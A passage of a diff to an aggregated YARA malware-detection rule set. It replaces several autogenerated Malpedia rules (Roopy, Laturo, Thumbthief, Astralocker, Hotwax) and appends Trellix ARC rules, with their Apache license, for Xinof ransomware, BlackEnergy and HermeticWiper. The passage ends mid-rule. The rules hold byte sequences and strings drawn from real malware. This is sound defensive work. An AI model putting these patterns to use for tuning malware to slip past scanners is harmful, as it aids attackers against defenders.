+		$sequence_3 = { ebf4 3b7df0 75e0 5a 8b7224 01de 31c0 }
+		$sequence_4 = { 31ff 31c0 fc ac 84c0 7407 }
+		$sequence_5 = { c1cf0d 01c7 ebf4 3b7df0 75e0 5a 8b7224 }
+		$sequence_6 = { 01de 31ff 31c0 fc }
+		$sequence_7 = { 668b044e 8b721c 01de 8b0486 }
+		$sequence_8 = { fc ac 84c0 7407 c1cf0d 01c7 ebf4 }
+		$sequence_9 = { 01da 56 e334 49 8d348a }
 
 	condition:
-		7 of them and filesize <147456
+		7 of them and filesize <65536
 }
-rule MALPEDIA_Win_Plurox_Auto : FILE
+rule MALPEDIA_Win_Roopy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6592f7da-a1c0-54df-8b9b-d6d4f0de3577"
+		id = "18fd31da-7cad-5b5e-9e3e-b0b112556109"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.plurox"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.plurox_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.roopy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.roopy_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "2767330918862f71924876620bde24f2504b741e0c74e8fbd24789f747d1fbb9"
+		logic_hash = "6efa923735d84ae0bbc14d021be45ac1298053ce08c8f542f6e92d8a3dac3a28"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -180417,32 +187398,32 @@ rule MALPEDIA_Win_Plurox_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 90 f9 0925???????? 0000 }
-		$sequence_1 = { 1a6e00 0000 94 624a8b 0416 }
-		$sequence_2 = { 6f b804000000 4e 4f b84e4f3dd9 }
-		$sequence_3 = { 94 f8 21480e 2a15???????? 6f b804000000 }
-		$sequence_4 = { e9???????? e408 6873d30808 94 e519 e8???????? 0000 }
-		$sequence_5 = { 8918 43 0416 0a20 0816 ec bbf2000000 }
-		$sequence_6 = { 8a00 46 0c83 47 }
-		$sequence_7 = { 624a8b 0416 128bc606091a f6870f1a000000 e10d }
-		$sequence_8 = { 07 f3cf 6b0000 0025???????? 7171 6805245f07 40 }
-		$sequence_9 = { 64841a 6c 2432 3449 }
+		$sequence_0 = { 8d45d8 30c9 6631d2 e8???????? 6a00 8b45ec 8945c0 }
+		$sequence_1 = { 89e5 8da42478fdffff 53 56 8945fc }
+		$sequence_2 = { 68???????? 64ff30 648920 8d431c 8b55fc e8???????? 89d8 }
+		$sequence_3 = { 85db 7403 8b40fc 3d04010000 0f8e91000000 89da }
+		$sequence_4 = { e9???????? 8d8decfeffff 8d95a0fcffff b810010000 e8???????? e8???????? }
+		$sequence_5 = { c745f800000000 c7859cfeffff00000000 c78598feffff00000000 c78594feffff00000000 c78578fdffff00000000 c7857cfdffff00000000 c78580fdffff00000000 }
+		$sequence_6 = { e8???????? 6a00 a1???????? 8945d8 }
+		$sequence_7 = { 30d2 e8???????? 6a00 8d45e4 e8???????? 6a00 a1???????? }
+		$sequence_8 = { e8???????? 8d8d8cfcffff 6631d2 8d8570fbffff e8???????? 8d858cfcffff 30c9 }
+		$sequence_9 = { 8b45dc 8d70ff f745e401000000 740d f745dcffffffff 0f856fffffff 8b45f0 }
 
 	condition:
-		7 of them and filesize <475136
+		7 of them and filesize <739328
 }
-rule MALPEDIA_Win_Lazarloader_Auto : FILE
+rule MALPEDIA_Win_Laturo_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "eeec4f28-0f22-51be-ae2e-de44f3255986"
+		id = "a099051d-06cc-5747-80aa-ce74001854da"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazarloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lazarloader_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.laturo"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.laturo_auto.yar#L1-L179"
 		license_url = "N/A"
-		logic_hash = "2c7bcf20b8b4c12e652b091953d52f7cafa589f18b8b9e18e7eefdba4a60b648"
+		logic_hash = "5c5686ac498628ddacc2bb584f3ee57bf281fd85acd0c0e6dfbd3f9934f8bef4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -180456,32 +187437,38 @@ rule MALPEDIA_Win_Lazarloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 483b0d???????? 7417 488d059c4f0100 483bc8 }
-		$sequence_1 = { 7528 48833d????????00 741e 488d0d30a80100 e8???????? 85c0 740e }
-		$sequence_2 = { 8bc2 488d154241ffff c1e803 89442438 448be0 89442440 85c0 }
-		$sequence_3 = { 488d0563810000 488bd9 483bc8 7417 8b815c010000 }
-		$sequence_4 = { 4889542410 48894c2408 57 4881ece0080000 33c0 66898424a0000000 488d8424a2000000 }
-		$sequence_5 = { 4c8bea 4b8b8cf770c10100 4c8b15???????? 4883cfff 418bc2 498bd2 4833d1 }
-		$sequence_6 = { 8bcf e8???????? 488bd7 4c8d05fecd0000 83e23f 488bcf 48c1f906 }
-		$sequence_7 = { 48897018 48897820 4156 33ed 4c8d35e6900000 448bd5 488bf1 }
-		$sequence_8 = { e8???????? 488bd7 4c8d05fecd0000 83e23f }
-		$sequence_9 = { 488bda 4c8d0d6bad0000 8bf9 488d15a2930000 b906000000 }
+		$sequence_0 = { 486bc038 488b0d???????? 8b440120 c1e01e c1f81f 3b442450 741a }
+		$sequence_1 = { e8???????? 33db 8bf8 85c0 0f8453020000 4c8d2dea040100 }
+		$sequence_2 = { 884814 0fb644243c 83f805 7511 0fb6442405 83e001 85c0 }
+		$sequence_3 = { 48837c242000 7432 488b442430 4839442420 720c }
+		$sequence_4 = { 488d0d13800100 33c0 8b542420 f00fb111 85c0 742c 48837c242820 }
+		$sequence_5 = { 4c8d34c0 49c1fc06 4a8b84e1f0a50100 4a8b44f028 488945bf }
+		$sequence_6 = { 488b09 448b0481 33d2 b95a000000 ff15???????? }
+		$sequence_7 = { 4883f9fd 7706 ff15???????? 488364243000 488d0dfc7b0000 8364242800 41b803000000 }
+		$sequence_8 = { 8bc2 8955e4 c1e802 8bf2 8b55f0 83e603 }
+		$sequence_9 = { b803000000 50 68???????? ff763c e8???????? 83c40c 85c0 }
+		$sequence_10 = { 7510 46 83c028 3bf2 }
+		$sequence_11 = { 8a4dfe 84c0 8a45ff 7909 }
+		$sequence_12 = { 53 ff15???????? 50 ff15???????? 834f1406 8b15???????? 8b4df4 }
+		$sequence_13 = { 6bd730 8b0c8d30430110 c644112800 85f6 740c 56 e8???????? }
+		$sequence_14 = { 8945fc ff15???????? 85c0 7460 c603e9 8b4704 2bc3 }
+		$sequence_15 = { 83feff 0f8432010000 57 6a01 83caff 8d4de8 }
 
 	condition:
-		7 of them and filesize <364544
+		7 of them and filesize <253952
 }
-rule MALPEDIA_Win_Campoloader_Auto : FILE
+rule MALPEDIA_Win_Thumbthief_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "00b62c88-0d38-56b9-90a5-7c85290ffbe9"
+		id = "37aaa405-1531-5214-b674-b08465e47533"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.campoloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.campoloader_auto.yar#L1-L116"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thumbthief"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.thumbthief_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "dae472a7090c99e8a9ce136356f9bc867c42c508ecb59c9f6aa0187832a15e3c"
+		logic_hash = "f526be6ecad90c989de9ad949776796071b33db6ed80435843c6bf3aac7a3492"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -180495,32 +187482,32 @@ rule MALPEDIA_Win_Campoloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83ec1c a1???????? 33c5 8945fc a1???????? 8945e4 }
-		$sequence_1 = { 898d58efffff c78584efffff00000000 8d55f4 52 8b8558efffff 50 }
-		$sequence_2 = { ff15???????? ff15???????? 8b8584efffff 8b4dfc 33cd e8???????? }
-		$sequence_3 = { 8b9584efffff 039574efffff c60200 8b450c }
-		$sequence_4 = { ff15???????? 898550efffff 0fb78554efffff 50 }
-		$sequence_5 = { 038d8cefffff 898d74efffff e9???????? 8b9584efffff 039574efffff c60200 8b450c }
-		$sequence_6 = { ff15???????? 8945f8 68???????? 8b45fc 50 }
-		$sequence_7 = { 6a01 6a00 6a00 6800000040 8b4510 }
-		$sequence_8 = { 8b8558efffff 50 8d8df0feffff 51 }
-		$sequence_9 = { 8b8d70efffff 51 8b9584efffff 52 ff15???????? }
+		$sequence_0 = { e9???????? 689c000000 b8???????? e8???????? 33db 8d4db4 895dec }
+		$sequence_1 = { f6431002 0f85e1000000 85f6 0f44f3 89758c b800040000 66854310 }
+		$sequence_2 = { ffb58cfeffff 8d8d30ffffff e8???????? 8d8de0feffff 807def00 7408 ffb5acfeffff }
+		$sequence_3 = { f20f1085ecfeffff 8d8574ffffff 51 51 f20f110424 50 8d85f4feffff }
+		$sequence_4 = { e8???????? c645fc02 8d8d58ffffff e8???????? c645fc03 8d8d18ffffff e8???????? }
+		$sequence_5 = { bf48030000 8d85a4fcffff 57 6a00 50 e8???????? 83c40c }
+		$sequence_6 = { eb77 68???????? eb70 68???????? eb69 8bc3 2d04130400 }
+		$sequence_7 = { ff75f8 85c0 743c ff75f4 ba07000000 8bcf e8???????? }
+		$sequence_8 = { e8???????? b8???????? e9???????? 8d4ddc e9???????? 8d4dbc e9???????? }
+		$sequence_9 = { ff15???????? 8b4704 5f 85c0 740a 894508 5d }
 
 	condition:
-		7 of them and filesize <66560
+		7 of them and filesize <4235264
 }
-rule MALPEDIA_Win_Interception_Auto : FILE
+rule MALPEDIA_Win_Astralocker_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f1a298d5-70e2-5f27-b6ee-691574cd9abf"
+		id = "0d5879c8-ffd6-54eb-8701-3a0bd5bd2437"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.interception"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.interception_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.astralocker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.astralocker_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "3520af3329a4b24d818d777e1e8f70b92d9cafa69a1f58bf6db64da9ed00530f"
+		logic_hash = "04cf0865e55d3f7d37324f7ff4a5b3ef42183f756ec3ed69d17a248a6814ecfc"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -180534,32 +187521,32 @@ rule MALPEDIA_Win_Interception_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83e61f 8d1c8520ae0010 c1e603 8b03 f644300401 7469 57 }
-		$sequence_1 = { 72f1 56 8bf1 c1e603 3b96e8710010 }
-		$sequence_2 = { c1f805 83e61f 8d1c8520ae0010 c1e603 8b03 }
-		$sequence_3 = { ffb6ec710010 8d8560ffffff 50 e8???????? 6810200100 8d8560ffffff }
-		$sequence_4 = { 8bd0 c1f905 83e21f 8b0c8d20ae0010 f644d10401 }
-		$sequence_5 = { 8d3c8520ae0010 c1e603 8b07 03c6 f6400401 7437 }
-		$sequence_6 = { f683c19c001004 7406 8816 46 }
-		$sequence_7 = { 8d542434 f3ab 66ab aa }
-		$sequence_8 = { 8bc8 83e01f c1f905 8b0c8d20ae0010 8a44c104 }
-		$sequence_9 = { 731c 8bc8 83e01f c1f905 8b0c8d20ae0010 f644c10401 8d04c1 }
+		$sequence_0 = { 8b5508 8b440a04 50 8b0c0a 51 e8???????? }
+		$sequence_1 = { 83c102 894dfc 837dfc0a 0f83dc000000 8b55fc 8b4508 }
+		$sequence_2 = { 6bc20a 8b4d08 33d2 33f6 891401 }
+		$sequence_3 = { 6bc20a 8b4d08 33d2 33f6 }
+		$sequence_4 = { 8b440a04 50 8b0c0a 51 e8???????? 83c408 8945ec }
+		$sequence_5 = { 894dfc 837dfc0a 0f83dc000000 8b55fc 8b4508 8b4cd004 }
+		$sequence_6 = { 8b4508 8b4cd004 51 8b14d0 52 e8???????? }
+		$sequence_7 = { 33c0 33f6 89040a 89740a04 }
+		$sequence_8 = { ba08000000 6bc20a 8b4d08 33d2 33f6 891401 89740104 }
+		$sequence_9 = { 33c0 33f6 89040a 89740a04 c745fc00000000 eb09 }
 
 	condition:
-		7 of them and filesize <98304
+		7 of them and filesize <191488
 }
-rule MALPEDIA_Win_Moure_Auto : FILE
+rule MALPEDIA_Win_Hotwax_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d5ea53f7-d6a1-5284-9152-98034607f388"
+		id = "34df7b39-b5de-5d0e-aea3-1ec834745896"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moure"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.moure_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hotwax"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hotwax_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "e394b210e6ac1eaa6569608ddb349d4dd1ae50231f20d0924074c460f1fa6782"
+		logic_hash = "f7aa59232edd43ba4670389edd9f2f755cdf2f70e16334cd9db9000bdc1ab730"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -180573,12723 +187560,11775 @@ rule MALPEDIA_Win_Moure_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 3454 43 1558c950cb 0d487b0d4c 36a373801f1e }
-		$sequence_1 = { bf55602540 006b05 bc7d506700 0033 58 bf35b8bf55 58 }
-		$sequence_2 = { 8b35???????? 57 00d6 0075f0 894508 0075fc 00d6 }
-		$sequence_3 = { 51 51 8b0d???????? 56 33f6 85c9 7509 }
-		$sequence_4 = { 837dbc00 7436 0075bc 8d4ddc e8???????? a1???????? 3bc6 }
-		$sequence_5 = { 82a8a200b000c1 8b00 e100 9e d28bd3977e8d 98 }
-		$sequence_6 = { 68b0704000 007014 007010 e8???????? }
-		$sequence_7 = { 5e 53 43 c1c361 5b c9 51 }
-		$sequence_8 = { 8b01 83e03f 3c02 751c 8b4514 8b10 83e23f }
-		$sequence_9 = { 42 c3 874226 c58035b4fe70 5e }
+		$sequence_0 = { 7e74 817d0063736de0 7528 48833d????????00 741e 488d0d5dee0000 }
+		$sequence_1 = { 488bd7 ff15???????? 418d8770050000 4489bdcc040000 c745a400080000 8945a0 }
+		$sequence_2 = { 4889842410030000 488bf9 488d8c2401020000 33d2 41b803010000 c684240002000000 }
+		$sequence_3 = { 488bd9 4885c0 7479 488d0d7fe50000 483bc1 746d 488b8310010000 }
+		$sequence_4 = { 4533db 488d9424f0000000 41b803010000 44895c2440 4c895c2448 ff15???????? 833d????????00 }
+		$sequence_5 = { 486bd258 490394c1a04b0100 f6423880 742c }
+		$sequence_6 = { 488bcb 488905???????? ff15???????? 488d1547d20000 488bcb 488905???????? ff15???????? }
+		$sequence_7 = { cc 4c8d05f8530000 498bd4 488bcd e8???????? 85c0 }
+		$sequence_8 = { 488b0d???????? eb7c 4c8d256a830000 488b0d???????? eb6c e8???????? }
+		$sequence_9 = { 488d0d50bf0000 ba01000000 e8???????? 4c8d442440 }
+
+	condition:
+		7 of them and filesize <198656
+}
+/*
+ * YARA Rule Set
+ * Repository Name: Trellix ARC
+ * Repository: https://github.com/advanced-threat-research/Yara-Rules/
+ * Retrieval Date: 2024-09-01
+ * Git Commit: fc51a3fe3b450838614a5a5aa327c6bd8689cbb2
+ * Number of Rules: 162
+ * Skipped: 0 (age), 5 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ *                                  Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+ */
+private rule TRELLIX_ARC_Ransom_Xinof_Chunk_PRIVATE : RANSOMWARE
+{
+	meta:
+		description = "Detect chunk of Xinof ransomware"
+		author = "Thomas Roccia | McAfee ATR Team"
+		id = "243c39fd-b5f6-5f64-8058-43da182480c0"
+		date = "2020-11-20"
+		date = "2020-11-20"
+		modified = "2020-11-20"
+		reference = "https://labs.sentinelone.com/the-fonix-raas-new-low-key-threat-with-unnecessary-complexities/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_xinof.yar#L1-L51"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "0c1e6299a2392239dbe7fead33ef4146"
+		logic_hash = "f0266962357a7cb26995cdbfcc99749b73fc4ed09c813fa8e2ed0f5143cde554"
+		score = 75
+		quality = 70
+		tags = "RANSOMWARE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom/XINOF"
+		actor_type = "Cybercrime"
+		actor_group = "FONIX"
+
+	strings:
+		$chunk1 = {
+		   C6 45 ?? ??
+		   68 ?? ?? ?? ??
+	           50
+		   E8 ?? ?? ?? ??
+		   53
+	           50
+		   8D 85 ?? ?? ?? ??
+		   C6 45 ?? ??
+		   50
+		   E8 ?? ?? ?? ??
+		   56
+		   50
+		   8D 85 ?? ?? ?? ??
+		   C6 45 ?? ??
+		   50
+		   E8 ?? ?? ?? ??
+		   83 C4 ??
+		   C6 45 ?? ??
+		   8B CC
+		   57
+		   50
+		   51
+		   E8 ?? ?? ?? ??
+		   83 C4 ??
+		   8D 8D ?? ?? ?? ??
+		   E8 ?? ?? ?? ??
+		   83 C4 ??
+		   8D 8D ?? ?? ?? ??
+		   E8 ?? ?? ?? ??
+		}
+
+	condition:
+		any of them
+}
+rule TRELLIX_ARC_Apt_Blackenergy_Pdb : TROJAN FILE
+{
+	meta:
+		description = "Rule to detect the BlackEnergy trojan"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "55c96b66-a8bf-5390-a75a-f3d2441c2a55"
+		date = "2013-02-15"
+		modified = "2020-08-14"
+		reference = "https://www.kaspersky.com.au/resource-center/threats/blackenergy"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_blackenergy_pdb.yar#L1-L38"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "4b2efcda5269f4b80dc417a2b01332185f2fafabd8ba7114fa0306baaab5a72d"
+		logic_hash = "7bb85d03d8f2a4d91554f7fea96e9bbe36b153cfa4a91fd13fb99d41d430c9e9"
+		score = 75
+		quality = 70
+		tags = "TROJAN, FILE"
+		rule_version = "v1"
+		malware_type = "trojan"
+		malware_family = "Trojan:W32/BlackEngergy"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
+
+	strings:
+		$s1 = "msiexec.exe /i \"%s\" %s REBOOT=\"ReallySuppress\"" fullword wide
+		$s2 = "InstallUpdate: CreateProcess failed, Cmdline=%s Error=%d ." fullword wide
+		$s3 = "Portuguese=Instalando o Tempo de Execu" fullword wide
+		$s4 = "Initialization: Failed to initialize - Unable to get Upgrade Code." fullword wide
+		$s5 = "This version of Internet Explorer is not supported.  You should upgrade Internet Explorer to version %s and run setup again.  Se" wide
+		$s6 = "Initialization: Failed to open %s file, Make sure the file is not used by another process." fullword wide
+		$s7 = "o %s e execute a configura" fullword wide
+		$s8 = "Initialization: Failed to initialize - Unable to get Product Version." fullword wide
+		$s9 = "f:\\CB\\11X_Security\\Acrobat\\Installers\\BootStrapExe_Small\\Release\\Setup.pdb" fullword ascii
+		$s10 = "BootStrap.log" fullword wide
+		$s11 = "ACDownloaderDlg" fullword ascii
+		$s12 = "Initialization: Failed to initialize Product - msi key not specified." fullword wide
+		$s13 = "rio atualizar para o Service Pack %s e executar a instala" fullword wide
+		$s14 = "\\Msi.dll" fullword wide
+
+	condition:
+		uint16(0)==0x5a4d and filesize <2000KB and all of them
+}
+rule TRELLIX_ARC_Hermeticwiper : TROJAN FILE
+{
+	meta:
+		description = "Detecting variants of Hermetic Wiper malware discovered in UA"
+		author = " cb @ Trellix ATR"
+		id = "fc6d9238-b732-541d-b083-11b43fe8770d"
+		date = "2022-02-24"
+		modified = "2022-02-24"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Troj_HermWiper.yar#L1-L27"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "b48e91afa19e09c7035ccda1b9293448e834d612b9a953b593f9412acb78faac"
+		score = 75
+		quality = 70
+		tags = "TROJAN, FILE"
+		rule_version = "v1"
+		malware_type = "Trojan"
